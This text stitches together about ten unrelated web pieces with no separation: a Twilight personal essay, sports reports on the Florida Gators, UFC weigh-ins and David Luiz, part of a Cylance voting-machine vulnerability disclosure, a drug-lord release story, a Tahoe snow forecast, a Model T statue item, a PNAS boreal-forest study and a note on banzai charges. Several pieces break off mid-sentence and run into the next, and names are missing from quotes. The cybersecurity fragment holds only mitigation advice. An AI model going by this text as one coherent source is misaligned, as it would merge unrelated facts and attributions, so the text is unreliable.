Through junior and senior year of high school I maintained the same “tortured artist” image, only I added a frustration against the girls that didn’t date me. Oh, and plenty of tears were involved because Edward is not afraid to cry. My personality became ridiculously dramatic, so dramatic that other teenagers thought it was too dramatic. I convinced myself that it was me against the world and it took those last years of high school and my first actual viewing of Twilight to realize I was the only one punching.
Yes, you read that right. For seven years, from the end of elementary school to the end of high school, I built my personality around Edward Cullen without ever watching the movie. The film is what it is, very corporate-y, but it ended up being the most valuable cinematic experience I’ve ever had. I came away from the movie realizing how silly Edward, a glittering vampire boy, actually is. He existed to sell merchandise and get girls in theaters. Sure, some women played along, but girls were the ones buying the posters and the folders and the lunchboxes and by trying to be Edward Cullen I was trying to impress girls. It didn’t work in high school because by that age many girls were young women who probably saw past my artificial character and they already knew that Twilight was just a movie and not something to base your life off of. Also, it’s fine when you’re under 18, but trying to impress girls past that age is disgusting.
As I write this I am growing out of the neurotic, antisocial, brooding boyman shell I built and starting to become myself. Like so many other guys who ran into Twilight in their formative years, I am coming of age, only we probably won’t wind up being another batch of men who speak in grunts. I will assume that people of previous generations probably went through a similar phase that I did, but instead of being reserved they were loud. They were raised on the glorious gangster, western, and adventure movies that conquered the past, movies that said be like Han Solo, be a rambunctious bad boy because that is who gets Princess Leia. Today not only do we have movies telling boys to be like Edward Cullen, to not be afraid of feeling emotions because that can also get the girl, but we also have movies encouraging girls to be like Katniss because Katniss is a fucking badass. Twilight encouraged me to get in touch with a more sensitive side of myself, a side that likes to emote sometimes rather than be tough all the times. Sure, I took it too far as a teenager, but now it’s being balanced out by an adult brain that kind of wishes I was more manly.
The idea of Twilight and a character like Edward Cullen popularized the more feminine straight man at a scale that no other movie had come close to. It also popularized the idea of men stepping aside for women to take the lead, an idea that paved the way for the success of The Hunger Games and even Star Wars: The Force Awakens. So, the popularity of Edward that made me jealous enough to try and become him is the reason why I, and maybe some other guys, will be a bit more in touch with their emotions, a bit less holier than though in their heads, and much more open to taking that step aside for badass women because what we consume and the concepts we promote through art tend to translate into real life. With that said, thank you Twilight!
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Facebook-- As soon as the Florida Gators were done with their Sunday practice warmup routine, Coachordered them into circle passing drills. White reminded his players of the slew of live-ball turnovers committed in the win the night before at Ole Miss.The drill splits the team in half. There is a defender in each circle. Players must pass the ball to a teammate that is not next to him. The ball has to move quickly.The Gators were turning it over.Not good enough.White stopped practice and reminded his players about those turnovers. About how the drill mirrored the type of pinpoint passing that would be needed against a zone defense like the next opponent, Mississippi State, would throw at them.The drill began again. A few more turnovers followed. Again, White stopped the action."C'mon!" he screamed. "Good win last night... but it's over!"True enough. UF did pick up a nice victory Saturday night when it went into Oxford, Miss., and not only never trailed but shot the lights out of the Rebels' sparkling new gym. The win gave the Gators (11-6, 3-2) their first Southeastern Conference road victory in eight tries, dating to last season, and now White gets to see if his team is mature enough to build on a modicum of prosperity by defending its O'Connell Center turf Tuesday night against Mississippi State (7-9, 0-4) and start stringing some wins together."We definitely don't think we got anything figured out," junior point guardsaid. "For us, it's about focus and where we are mentally. We have talent and if we focus and play hard we know we can play with anybody."And yet?"First we have to put together two good games."The Gators have not beaten consecutive high-major opponents this season, so the first two-game winning streak in the SEC since last season would be seen as progress for this mixed-bag bunch with a lot of first- and second-year players being counted on for big roles."Just try to remind them [that] after we play good against a good team, the next game we tend to have a bad game," senior forwardsaid. "So just try not to cheat the process. Just try to have a good practice every day."UF had a couple decent ones Sunday and Monday. The goal, obviously, is to have that productivity transfer to Tuesday night; preferably with the shooting the Gators took with them over the weekend when they went a scorching 11-for-20 from 3-point range, led by freshman guard's 27 points on 6-for-7 shooting from deep.For all the team's offensive woes this season -- and there have been many, considering the Gators are last in the league in field-goal, 3-point and free-throw percentages -- UF has hit 37.5 percent from the arc in conference play and made at least nine long balls in four of those five SEC outings.If the Gators can maintain their high level of defense (3rd in the league), play with high effort and energy (they've had lapses, but few), keep those offensive numbers on the uptick (even incrementally) and limit turnovers (been mostly good in that phase), this is a team that will give itself a chance every time out.Those are a lot of important elements that have to go right on a given night, but that's what good teams do.They also improve as a season goes on. Sort of like UF's shooting of late."To think that we'd just come out and be a great shooting team this year -- when you're relying on freshmen and unproven sophomores to make a bunch of shots for you -- was probably not the right thing to think," said White, who admitted to being overly optimistic with what he saw from his players offensively in offseason and preseason. "We've been streaky. We obviously shot it well at Ole Miss, which was huge for us. But we've said it all year: When we're making making shots, we're pretty good."They definitely made 'em Saturday.But that's over.The most influential commission in the country has given the go-ahead for earlier weigh-ins.
The Nevada Athletic Commission unanimously approved morning weigh-ins Tuesday at its meeting after a proposal from the UFC. The change in procedure will be in place for International Fight Week, which encompasses UFC 200, The Ultimate Fighter 23 Finale and UFC Fight Night: dos Anjos vs. Alvarez in July.
For those cards, fighters will be able to weigh-in between 8 a.m. and 10 a.m. the day before the fight at the fighter hotel, rather than the usual time of 4 p.m. There will still be an afternoon "weigh-in" for broadcast where the official weights will be announced.
The UFC experimented with earlier weigh-ins at UFC 199 in Los Angeles earlier this month and last weekend in Ottawa. UFC vice president of athlete health and performance Jeff Novitzky said the positive reaction from fighters and fight teams has been "universal."
Doctors initially recommended this change late last year to the California State Athletic Commission (CSAC), which has approved the earlier weigh-in into law. Doctors say that giving fighters more time to rehydrate between the weigh-in and the fight is important for health and safety. It also allows fighters to spend less time dehydrated during their weight cut, rather than waiting for an afternoon weigh-in.
Novitzky said the UFC is still in a trial phase with this as a procedure, but the promotion is looking into making it a rule.
"We're leading in the direction of attempting to make this permanent, but I don't think we're there yet," Novitzky said.
Bellator MMA will also adopt this procedure for its Dynamite |
is the first to demonstrate an exploit in a real-world scenario.
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VIDEO: Cylance Researchers Demonstrate Voting Machine Vulnerability
What Can be Done to Mitigate These Risks?
In the short term, for the upcoming 2016 election, Cylance recommends:
• Increased supervision/ monitoring of physical access to electronic voting machines, especially as it pertains to any interfaces or ports except for the Voter Activation Card slot (typically found on the front)
• Frequent verification of hardware or software errors, such as those displayed on operator screens (e.g.: the LCD on the back of a Sequoia voting machine)
• Monitoring and verification of tamper-proof and/or tamper-evident seals (typically used to prevent or at least indicate tampering) surrounding the devices, ports, latches, etc.
In the long term, phasing out and replacing deprecated, insecure machines - namely those without robust, hardware-based firmware and data verification mechanisms is recommended. Also, additional due diligence of polling place volunteers, workers, and officers may help mitigate possible collusion for tampering by these groups.
Reporting
Cylance has provided details of the vulnerabilities to both the manufacturer Sequoia and government authorities, as well as provided suggestions for mitigation.
The decision to announce the research findings was intended to encourage remediation of the vulnerabilities prior to Election Day.Penalty shootouts often tend to boil down in the memory to a single tear-stained snapshot. At the end of Brazil and Chile’s World Cup last-16 shootout in Belo Horizonte last weekend it was Júlio César’s sobbing post-match interview, replayed relentlessly on Brazilian TV, that seemed to capture the sense of overwrought fraternal catharsis, and also to point most clearly to the sheer scale of the collective emotional breakdown narrowly averted by Júlio César’s saves and a helpful goalpost.
There are two points that perhaps got a little lost in all this. First, and by way of a tangent, imagine for a moment what this most bizarrely emotional and highly-strung Brazil squad are going to be like when and if they actually lose at this World Cup.
And second, for all Júlio César’s saves it was actually David Luiz, current No1 ranked player at this World Cup, according to Fifa, who provided the most visible source of inspiration in those vital moments. Just as it is David Luiz ahead of Friday’s fraught-looking quarter-final against Colombia in Fortaleza who provides not just a very clear sense of leadership on and off the pitch but also – and yes this is the same David Luiz – a rare sense of calm.
It might not have been obvious from the television pictures but David Luiz was all over that shootout. Not only did he put Brazil’s first penalty away in his usual emphatic fashion, he also led the theatre, walking halfway to the area to congratulate each successful taker – Brazilian or Chilean – performing a near half-lap of the pitch when Brazil went ahead and generally giving the impression the entire spectacle was taking place in his back garden.
As in a sense it kind of was. Make no mistake: David Luiz is an absolute star in Brazil, not just as a player, where the Premier League notion of his flakiness never crossed the Atlantic, but as a Seleção statesmen off the pitch: voice of reason, respected leader and a genuine blue-chip celebrity in this football-centred nation of 199 million people.
It is David Luiz’s face that peers out from the adverts, including one for an airline that features him in pilot pose, grinning zanily in front of a waiting jet (how reassuring is this really?) and David Luiz along with Neymar whose name is on the replica shirts being hawked by Fortaleza street vendors. He talks brilliantly well on camera. His impassioned singing of the national anthem has become a pre-match staple for Brazil’s fans. Give it a few years and it’s not too hard to imagine him ending up as defence minister or governor of Sao Pãulo state.
For now, though, he has simply been vital to Brazil’s progress, playing consistently well in a team that is set up nicely to accommodate his style of play. David Luiz’s main attributes – that supreme athleticism and confidence on the ball – have been well complemented by Thiago Silva’s positional intelligence and tackling ability, not to mention the presence in front of both of a pair of gristly midfield pivots.
More broadly David Luiz’s mobility is a crucial factor in what is a notably restrained Brazil. There are basically two free(ish) players in Luiz Felipe Scolari’s team: Neymar up front and David Luiz coming out from the back. Together they do what they can to break up the lines in a team that resembles at times the football equivalent of a musclebound nightclub bouncer unable to do much more than tap his foot and raise an eyebrow when the music comes on.
It is a part of David Luiz’s role that will come into shaper focus against Colombia. Luiz Gustavo has been Scolari’s most dependable defensive midfielder. His absence through suspension means David Luiz might have to develop a taste for lateral as well as forward movement, covering his own full-backs a bit in the classic British style.
At the same time what David Luiz has done so well at this World Cup, those sprints out of defence to intercept or smother danger between the lines, will surely be key to Brazil’s attempts to stifle James Rodríguez. Colombia’s star man has been incisive when cutting inside and exploiting space 40 yards or so from goal.
David Luiz will, being David Luiz, find himself coming out at times to meet him. There will be lunges, blocks, interceptions. How well the world’s most expensive defender does all this will surely be a key element in how the game plays out. But then David Luiz has been key to Brazil under Scolari 2.0 from the start, a player who never really looked like a Premier League centre back – where absolute defensive concentration is prized above mobility or ball-playing skills – but who has been key to the construction on the hoof of Brazil’s current World Cup team. To date 23 of his 40 caps have come in Scolari’s 26 games in charge, while Brazil under Scolari have never lost when David Luiz has played the whole match.
And beyond the team itself Paris Saint-Germain’s star summer purchase remains not just a billboard celebrity but an important figure generally in Brazil’s ability to embrace fully its own Seleção.
The relationship between team and public has taken a few hits in recent years. The Nike years, when Brazil would play friendlies any time anywhere (except Brazil) hardly helped, although no doubt that Andorran fan-base lured in by playing there just before the 1998 World Cup is still hungrily buying shirts. Plus, of course, so many of Brazil’s players have disappeared overseas in the first bloom of their talent.
David Luiz played 26 matches for Salvador’s Vitória seven years ago before he was sold to Benfica and made his debut for Brazil in 2010 having played almost entirely abroad as a professional. And yet, with his charm and São Paulo sang-froid, he has played a major part in bridging this temporary divide, a leader of the diaspora players, and a major component in the emotional heart of this united, impassioned, at times rather fraught, Brazilian team.A former top Mexican drug cartel boss, Rafael Caro Quintero, has been released after serving 28 years for the murder of a US agent, a prison source said.
US officials on Friday expressed outrage that the 40-year prison sentence had come to an end.
"The Drug Enforcement Administration is deeply troubled to learn of the decision by a Mexican court," the US agency said in a statement.
Quintero, 60, was ordered released on August 7 by a criminal court in the western state of Jalisco, a judicial official told AFP news agency.
The court said proceedings for the 1985 murder of DEA agent Enrique Camarena should have been tried in regular rather than federal courts.
Authorities have not yet commented publicly on the drug kingpin's release.
"Caro Quintero left the prison in the morning," the prison system source, who asked to remain anonymous, told AFP.
Prosecutors did not clarify whether there were other proceedings pending against Quintero or if he would be extradited to the United States.
Quintero is wanted for charges related to Camarena's murder and drug trafficking in California.
Camarena's 1985 kidnapping, torture and death strained US-Mexico relations and gave rise to a binational crackdown on drug trafficking, according to experts.
The father of Mexico's Guadalajara drug cartel, Quintero was one of Mexico's major drug lords until his capture in 1985.THIS WILL BE THE FIRST "WINTER-LIKE" SYSTEM OF THE FALL SO FAR. - NOAA, Reno, NV today
Tahoe got its first dusting of snow yesterday and people were fired up. NOAA says, if you liked that, you’re gonna love the next system that is forecast to be our first real winter storm of the season with big snow on the highest peaks, 100mph ridgetop winds, and snow levels as low as 5,000-feet. This next system is forecast to hit Tahoe on Sunday and Monday
WITH 0.50" TO JUST OVER 1" QPF NEAR THE SIERRA CREST. - NOAA Reno, NV today
0.5 to 1″ of water on the Sierra crest should translate to about 6-12″ of snow if all goes well. Fingers crossed.
Bryan Allegretto thinks we could get up to 15″ of snow on the Sierra Crest:
Above 8000 feet most of this storm should be snow and we could see 6-9 inches on the East side of the basin, 9-12 inches on the West side, with up to 15 inches West of the lake along the crest. Above 7000 feet we could see 3-6 inches on the East side of the basin, and 4-8 inches on the West side. At lake level we could see 2-3 inches on the East side of the basin, and 3-4 on the West side.” –Bryan Allegretto/OpenSnow.comMedia playback is unsupported on your device Media caption Footage from the BFI's Britain on Film collection shows the journey of a Ford Model T car driving down Ben Nevis in 1911
Artists have been sought to create a life-size bronze replica of a Ford Model T car that was driven to the summit of Ben Nevis in 1911.
Henry Alexander Jr, the son of Scotland's first Ford dealer, drove the Model T up and then down the mountain.
The publicity stunt was to show that the mass produced American car was superior to hand-crafted British ones.
Highland Council has sought a contractor to develop, cast and install the sculpture in Fort William.
The replica is to be installed in the town's Cameron Square.
Image copyright BFI Image caption The footage from more than 100 years ago is in the care of BFI’s Britain on Film collection
Image copyright BFI Image caption Footage from the BFI’s Britain on Film collection shows the Model T on its descent of Ben Nevis
In a notice inviting bids for the work, Highland Council said that up to £89,000 was available for the contract.
A group called The Ben Bronze Model T has been promoting the idea of the statue in Fort William, the nearest town to Ben Nevis.
In 2011, a team of about 60 volunteers carried a dismantled replica of a Model T Ford car up and then back down from the summit of Ben Nevis.
The attempt, made in strong winds, hail and snow, was successfully completed.
Image copyright Ben Nevis Bronze Ford Committee Image caption A mock up of the planned sculpture
Volunteers carried wheels, seats and the chassis. Other parts of the car were put into 40 bags weighing 10 pounds (4kg) each.
After being reassembled on the summit the car was again dismantled for the descent.
Parts of the that replica car would be available to artists as templates for the sculpture, Highland Council said.
Footage of the original drive on Ben Nevis was thought to have been lost, before being found.
The film, which is in the care of the British Film Institute, shows a peat bank being dynamited to make the journey a bit smoother for the Model T.Significance Limited knowledge about the mechanistic drivers of forest growth and responses to environmental changes creates uncertainties about the future role of circumpolar boreal forests in the global carbon cycle. Here, we use newly acquired tree-ring data from Canada’s National Forest Inventory to determine the growth response of the boreal forest to environmental changes. We find no consistent boreal-wide growth response over the past 60 y across Canada. However, some southwestern and southeastern forests experienced a growth enhancement, and some regions such as the northwestern and maritime areas experienced a growth depression. Growth–climate relationships bring evidence of an intensification of the impacts of hydroclimatic variability on growth late in the 20th century, in parallel with the rapid rise of summer temperature.
Abstract Considerable evidence exists that current global temperatures are higher than at any time during the past millennium. However, the long-term impacts of rising temperatures and associated shifts in the hydrological cycle on the productivity of ecosystems remain poorly understood for mid to high northern latitudes. Here, we quantify species-specific spatiotemporal variability in terrestrial aboveground biomass stem growth across Canada’s boreal forests from 1950 to the present. We use 873 newly developed tree-ring chronologies from Canada’s National Forest Inventory, representing an unprecedented degree of sampling standardization for a large-scale dendrochronological study. We find significant regional- and species-related trends in growth, but the positive and negative trends compensate each other to yield no strong overall trend in forest growth when averaged across the Canadian boreal forest. The spatial patterns of growth trends identified in our analysis were to some extent coherent with trends estimated by remote sensing, but there are wide areas where remote-sensing information did not match the forest growth trends. Quantifications of tree growth variability as a function of climate factors and atmospheric CO 2 concentration reveal strong negative temperature and positive moisture controls on spatial patterns of tree growth rates, emphasizing the ecological sensitivity to regime shifts in the hydrological cycle. An enhanced dependence of forest growth on soil moisture during the late-20th century coincides with a rapid rise in summer temperatures and occurs despite potential compensating effects from increased atmospheric CO 2 concentration.
Circumpolar boreal forests are estimated to store ∼53.9 Pg of carbon or ∼14% of terrestrial vegetation biomass (1). These regions are currently experiencing accelerated changes, including warmer and longer growing seasons, tree line expansion, species migration, increased frequency and severity of drought, and increases in the frequency and severity of disturbances (2⇓⇓⇓⇓⇓⇓⇓–10). These changes create uncertainty about the boreal forests’ future role in the global carbon cycle (11). Adding to this uncertainty is the discrepancy over recent changes in the productivity of boreal and other northern latitude forests. Some empirical evidence suggests increases in the forest productivity (12⇓–14), whereas other studies suggest decreasing productivity over the last decades (7, 8, 15⇓–17). Furthermore, inversion and process-based ecosystem models indicate large carbon sinks (7, 8), whereas field-based bottom-up approaches suggest smaller carbon sinks or small carbon sources (3, 18), or large sinks (19). Quantifying the response of boreal forests to environmental changes and the subsequent effects on the global carbon cycle thus remains a pending, interdisciplinary scientific challenge (11, 18, 20).
Observations of vegetation productivity at northern latitudes may be obtained using either ground- or satellite-based observations, which may represent different components of forest productivity, that is, stem vs. leaf level. Satellite-derived indices of photosynthetic activity, such as the normalized difference vegetation index (NDVI), are now widely used for quantifying responses of forested areas to environmental changes (21, 22). However, a recent comparison of commonly used NDVI datasets showed marked differences in their representation of mean seasonal vegetation productivity and decadal-long trends (21), which stresses the necessity for large-scale, ground-based observations. Ground-based observations of vegetation productivity may originate from permanent sample plots (13, 17) or from tree-ring analyses (12, 14, 16, 23), which differ in the temporal resolution (decadal vs. annual) and spatial scale (stand vs. tree). Both are prone to bias because of unbalanced spatial sampling. Permanent sample plots may be preferentially established in the more productive forests (24). On the other hand, tree-ring data have been typically focused on the dry or cold marginal limits of forest distribution (23, 25). Furthermore, uncertainty in determining the representative vegetation productivity trends for northern latitudes is exacerbated by short observational time series inherent to many of these data sources. The resulting limited quantification of growth, and subsequent uncertainties in mechanistic drivers and predictions of the ecosystem’s fate, emphasize the need for continuous, highly resolved, and spatially extensive datasets that are statistically representative and constitute an unbiased estimate of the forested regions.
Here, we examine the aboveground growth responses of the Canadian boreal forest to climate change over the past ∼60 y based on a new ground plot network that provides a much more representative sampling of this major North American biome. Information was obtained for a total of 19 boreal tree species from annually resolved and absolutely dated ring width measurements from 2,807 trees at 598 ground plots of Canada’s National Forest Inventory (NFI) (Fig. 1 and SI Appendix, part A). We examine growth trends before and during the satellite era and compare them with trends observed from NDVI datasets. We relate seasonal temperature, soil moisture, and atmospheric carbon dioxide concentration ([CO 2 ]) variation to long-term changes in annual tree growth rates. We also evaluate whether the observed growth trends are consistent with the expected growth rate responses to climate change. Across the vast territory under study, mean annual temperatures increased between 0.5 and 3.0 °C during the 20th century along with global increases in atmospheric CO 2 concentrations (9). Given the cold climatic conditions, it could be expected that these changes should have led to increases in forest growth in this subcontinental region.
Fig. 1. Distribution of Canada’s National Forest Inventory (NFI) sample plots for tree-ring analysis and of the main terrestrial ecozones under study. The nonboreal Pacific Maritime, Mixedwood Plains, and Atlantic Maritime ecozones are included in the study owing to coexisting species with the boreal ecozones.
Conclusions Our analyses of a new methodologically standardized tree-ring dataset covering Canada’s boreal forest provide insights into the growth responses of this ecosystem to climate change. Although revealing no overarching “growth enhancement” or “growth decline” in recent years, results do point to significant regional- and species-related trends in growth. The observed link between climate variation and growth variability revealed unique evidence of an intensification of the impacts of hydroclimatic variability on growth late in the 20th century, in parallel with the rapid rise of summer temperature. Such response can be attributed to annual growth variability in these forests being mainly driven by negative sensitivity to summer temperature (warmer summers leading to less growth) and positive sensitivity to summer soil moisture (more moisture leading to more growth), albeit species-specific variations in these responses can be found. We caution that neither mortality nor disturbance impacts are addressed here and that therefore extrapolation of future carbon storage in these forests is neither straightforward nor simple to achieve (3, 6, 8, 42). Furthermore, the complex interplay of different biotic and abiotic drivers of boreal forest productivity, including unpredictable wildfires, insect population outbreaks, and other disturbances, may yield counterbalancing effects on the overall net carbon sequestration (6, 42, 43). Notably, insect-induced collapses in growth in western and eastern Canadian forests played a major role in defining growth trajectories at the turn of the 21st century (3, 44, 45), but their relative effects on growth are only partially, if at all, captured by this current NFI tree-ring analysis. Although remote-sensing products can provide insights into the impacts of these phenomena and of climate change, our results suggested extensive areas of disagreement between forest growth trajectories and remotely sensed NDVI trends: the accelerated growth over large regions was not necessarily correlated with greening and, inversely, with browning where trees experienced a slower growth. Complex effects of climate on growth rates, unpredictable future disturbances, and uncertainties in trends assessed from remotely sensed forest productivity data provide justification for ground-based monitoring of species-specific trends, disturbance impacts, and responses to climate change at local to regional scales.
Materials and Methods Tree-Ring Data. The tree-ring width dataset is based on increment cores sampled during the establishment of Canada’s NFI plot survey (24), representing an unprecedented degree of sampling standardization for a large-scale dendrochronological study. The sampled plots (n = 598) were designed to be representative of the distribution of species and growing conditions in the managed forests of Canada (Fig. 1). At each NFI plot, samples were collected from up to 10 living dominant and codominant trees (diameter at breast height, >5 cm; median n per plot was four trees and varied depending on the year of survey, with more recent surveys having larger n; see SI Appendix, part A, for further details). Samples were processed, crossdated, and measured using standard dendrochronological methods (SI Appendix, part A). We only used core samples covering a minimum of 20 y. Over 80% of the samples either contained the innermost ring (pith) or were estimated to lie within a centimeter of it. A high proportion of the samples originated from plots located on moraine (44% of plots) and lacustrine (19% of plots) deposits, followed by bogs (8% of plots; one-half of them north of 60°N), and unspecified organic materials (e.g., sedge, sphagnum; 10% of plots). The remaining 19% of plots represented other types of parent materials (e.g., fluvioglacial, bedrock). Ring width measurement series were scaled to provide annual estimates of tree BAIs (in square centimeters per year) using the following: B A I = π R t 2 − π R t − 1 2, [1]where R t and R t − 1 are the cumulative stem radial increments (in centimeters) at the end and beginning of a given annual ring increment, respectively. BAI and derived metrics thereof (long-term trends in BAI) are more directly related to tree productivity and stem biomass than to diameter increment (46). Vegetation Index Data. Processed NDVI satellite data based on advanced very high-resolution radiometer (AVHRR) raw data were obtained from the latest version (3g) of the Global Inventory for Mapping and Modeling Studies (GIMMS) (47), which covers July 1981 to December 2012 at a temporal resolution of ∼2 wk (24 scenes per y per pixel) and a spatial resolution of 0.083° (∼9 km). For photosynthetically active vegetation, the NDVI ranges from 0 to 1. In this study, we extracted NDVI data for pixels in Canada where the percentage of tree cover was >75% (based on ref. 48), and averaged them by pixel and year to create annual NDVI time series. Climatic and CO 2 Data. For each plot, daily weather data (maximum and minimum temperature; in degrees Celsius), precipitation (sum; in millimeters), relative humidity (in percentage), and vapor pressure deficits (in kilopascals) were obtained for the period of 1950−2010 using BioSIM, which interpolates site-specific estimates from historical weather observations (49) as described in ref. 50. The quantity of available soil moisture was estimated for each month using the quadratic-plus-linear (QL) formulation procedure described in ref. 51, which accounts for water loss through evapotranspiration (simplified Penman–Monteith potential evapotranspiration) and gain from precipitation. Parameter values for maximum and critical available soil water were set at 300 and 400 mm, respectively; the number of weather stations for interpolation was set to 8. We used annual mean atmospheric concentrations of CO 2 recorded at Mauna Loa observatory since 1958 (52); the data were extended to 1950 using estimates from ice cores (53). Quantification of Past Annual Tree Growth. Eliminating the intrinsic age- and size-related growth trend in BAI makes it possible to address annual growth variability independently of biological age or tree size, and furthermore permits comparison of long-term growth trends among species and regions. Departures from the detrended growth rates are interpreted as being caused by climate variability, insect disturbances or other external drivers. Here, we used GAMMs (54, 55) to remove internal biological effects for each species-by-plot combination (873 analyses in total). This approach is based on the modeling of BAI as a function of cambial age and tree basal area. Compared with a continental-scale model approach, the species-by-plot-level models were better able to handle the variation in species responses across climate gradients, varying plot disturbance histories, unequal distributions of species-by-plot sample sizes, and regional climate trends. A logarithmic transformation was first applied to deal with the skewed distribution of BAI (LBAI). The fitted GAMM took on the following form: L B A I i j k t = β i j log ( B A i j k ) + s ( cambial age i j k t ) + Z i j k B i j k + ν i j k + ε i j k t, [2]where i represents the species, j represents the plots, k represents the tree, and t represents the year. Cambial age refers to an estimation of tree age based on the ring counts (age n); we did not adjust age n for missing innermost rings as such error, which concerns a minority of samples, does not cause significant bias in tree-ring chronologies (56). Tree identity ( Z i j k B i j k ) was considered as a random effect. We also included an error term ( ν i j k ) with an AR1 (p = 1, q = 0) correlation structure, and the residuals of the model (ε). The smooth terms s of the GAMM were represented using cubic regression splines which degree of smoothness was determined through an iterative fitting process (see ref. 54). The growth model was fitted using the mgcv package, version 1.8–4 (57) in R (58). For quantification of past annual growth variability, a back-transformation was applied to estimated LBAI (59): B A I i j k t ∧ = c f i × exp ( L B A I i j k t ∧ ), [3]where c f i is a correction factor of species i computed as follows: c f i = exp ( M S E i 2 ), [4]and M S E i is the mean-squared error computed as: M S E i = ∑ j, k, t ( L B A I i j k t − L B A I i j k t ∧ ) 2 N i, [5]where N i is the number of observations. Annual growth variability (expressed in percent-difference from the long-term mean) was computed as follows: G C i j k t = B A I i j k t − B A I i j k t ∧ B A I i j k t ∧ × 100. [6]The results of these calculations are hereafter referred to as the GAMM NFI growth data. The ability to detect effects of low-frequency climate variability or rising [CO 2 ] on growth may be limited by the use of detrending techniques that remove long-term growth trends, and by biased sampling of trees that produces spurious trends in growth rates (39, 40). To assess the extent to which the choice of approach for removing age, size, and competition effects might influence our conclusions, we additionally applied a tree level-based statistical procedure, and two uniform ecozone-level procedures to generate three different forms of tree growth indices. Ecozones are areas representative of large and generalized ecological units characterized by interactive and adjusting abiotic and biotic factors (60). The detection of similar trends in all analyses would enhance our confidence that variability is an inherent feature of the tree-ring data. First, a tree-level GNE statistical detrending procedure was used. Here, the ring-width measurement series were rescaled using a power transformation method (61) and detrended using linear (L), negative exponential (NE), or generalized negative exponential (GNE) methods (SI Appendix, part B). The residuals calculated as observed minus fitted estimates are hereafter referred to as the GNE growth data. Note that this GNE approach may remove a greater percentage of low-frequency variance in the LBAI data compared with the GAMM approach. This can limit our ability to track subtle long-term growth trends, particularly when dealing with young trees. Second, for the uniform procedures, we used GAMM models and the RCS technique (56) applied at the scale of ecozones (respectively, GAMM eco and RCS, detailed in SI Appendix, part B). A requirement for the uniform procedures was that at least 20 trees of the same species were available for analysis within an ecozone. Analysis of Forest Growth Trends. Species-by-plot GAMM NFI chronologies were computed using robust averaging of the detrended individual tree BAI data, and then spatially averaged to 1° × 1° grids to obtain continuous yearly raster maps of growth covering 1950–2002 (i.e., the period of maximum sample replication). We used ordinary Kriging in ESRI ArcGIS 10.3 with a 5° radius and an exponential model to fit the semivariograms. The Kriging procedure is essentially a weighted average of annual tree growth around the grid to be estimated. Further testing was conducted to confirm that the results of this approach were robust with respect to the inclusion of rare tree species and chronologies with low tree sample replication (SI Appendix, part G). Ordinary least-square regression analyses (using a linear term alone) were conducted for each grid location, and on NDVI data for the periods 1982−2002 (to correspond to the available NDVI time series) and 1950−2002 (for the growth-based maps). Slope estimates from these regressions were then mapped. Furthermore, NDVI data were used for pairwise correlation with gridded growth time series. These procedures were repeated with the GNE, GAMM eco, and RCS data to ensure that our main findings from the GAMM NFI procedure remain valid under alternative treatments of data. In addition, we examined tree growth variability since the mid-20th century after averaging species-by-plot GAMM NFI chronologies at the level of Canada’s terrestrial ecozones; estimates and their 90% confidence intervals were obtained using bootstrap resampling (61). The procedure was repeated for GNE, GAMM eco, and RCS data. Linear trends for 1950–2002 at the species-by-ecozone level were examined, and direction was interpreted for the level of certainty: “very likely,” if the sign of the trend in GAMM NFI was matched by the three other methods; “likely,” if the sign of the trend in GAMM NFI was matched by two other methods; and “uncertain,” if inconsistency was found between methods; the term “inconclusive” was used when a trend in GAMM NFI was between 0 and ±0.10%⋅y−1. Analysis of Climate Sensitivity. Linear mixed models were used to explore the climate effects on species-by-plot averaged residuals of Eq. 2 ( G A M M L R e s i j k t ) G A M M L R e s i j t = ∑ n = 1 8 β i j n * C l i m j t n + ν i j. [7] An error term with an AR1 (P = 1, q = 0) correlation structure was included in the models. Eight explanatory variables (Clim) were tested: mean summer (June to August) soil moisture (in millimeters) and temperature (in degrees Celsius) of the previous year and current year to ring formation, previous fall (September to November) mean temperature, current spring (March to May) mean temperature, cool season (December to May) total snowfall (in millimeters), and mean annual atmospheric CO 2 concentrations ([CO 2 ] in parts per million by volume). The period of analysis ranged from 1950 to 2010 depending on the length of the individual G A M M L R e s i j t records. Multicollinearity among these variables is moderate to low (SI Appendix, part F). Multimodel selection was performed using the MuMIn package (61). In this approach, we ranked all of the potential models that could be generated with the different explanatory variables according to the second-order Akaike information criterion corrected for small sample sizes (AICc). For each model, we considered its Akaike weights (i.e., normalized model likelihoods) for ranking. Among all ranked models, those with cumulative Akaike weights within 95% were considered the best candidate models for multimodel inference. Parameter and error estimates were then computed through averaging of these multiple models (62). We used four different metrics to report the climate sensitivity: the t statistics (i.e., the coefficient divided by its corresponding unconditional SE), the variable relative importance (sum of “Akaike weights” from the selected models), the 95% adjusted confidence intervals for the parameter coefficients of the average model (species-by-plot), and the Pearson correlation between the estimation from the average model and the response variable for each species-by-plot.
Acknowledgments We acknowledge the important contribution of Graham Stinson and the National Forest Inventory program, from which most of the data were obtained. We thank Christine Simard, Julie Fradette, David Gervais, Catherine McNalty, and Thierry Varem-Sanders for valuable contributions to the laboratory work. This work was made possible thanks to the financial and in-kind support provided by the Canadian Forest Service of Natural Resources Canada.
Footnotes Author contributions: M.P.G., O.B., W.K., X.J.G., and J.B. designed research; M.P.G., O.B., and X.J.G. performed research; M.P.G., O.B., E.H.H., N.E.Z., J.M.M., R.d.J., D.C.F., J.E., and U.B. contributed new reagents/analytic tools; M.P.G., O.B., J.M.M., R.d.J., and X.J.G. analyzed data; and M.P.G., O.B., E.H.H., W.K., N.E.Z., J.M.M., D.C.F., U.B., and X.J.G. wrote the paper.
The authors declare no conflict of interest.
This article is a PNAS Direct Submission.
This article contains supporting information online at www.pnas.org/lookup/suppl/doi:10.1073/pnas.1610156113/-/DCSupplemental.
Freely available online through the PNAS open access option.Imperial Japanese Army soldiers lie dead on the sandbar at the mouth of Alligator Creek on Guadalcanal after being killed by US Marines during the Battle of the Tenaru, August 21, 1942
A banzai charge is the term used by the Allied forces to refer to Japanese human wave attacks mounted by infantry units.[1][2] This term came from the Japanese cry "Tennōheika Banzai" (天皇陛下万歳, "Long live His Majesty the Emperor"), shortened to banzai, specifically referring to a tactic used by Japanese soldiers during the Pacific War.
Origin [ edit ]
The banzai charge is considered to be one method of gyokusai (玉砕, "shattered jewel"; honorable suicide), a suicide attack, or suicide before being captured by the enemy such as seppuku. The origin of the term is a classical Chinese phrase in the 7th-century Book of Northern Qi, which states "丈夫玉碎恥甎全", "A true man would [rather] be the shattered jewel, ashamed to be the intact tile." Among the rules there existed a code of honor that was later used by Japanese military governments.
The suicide of Saigō Takamori inspired the government that suicide was their final, honorable action.
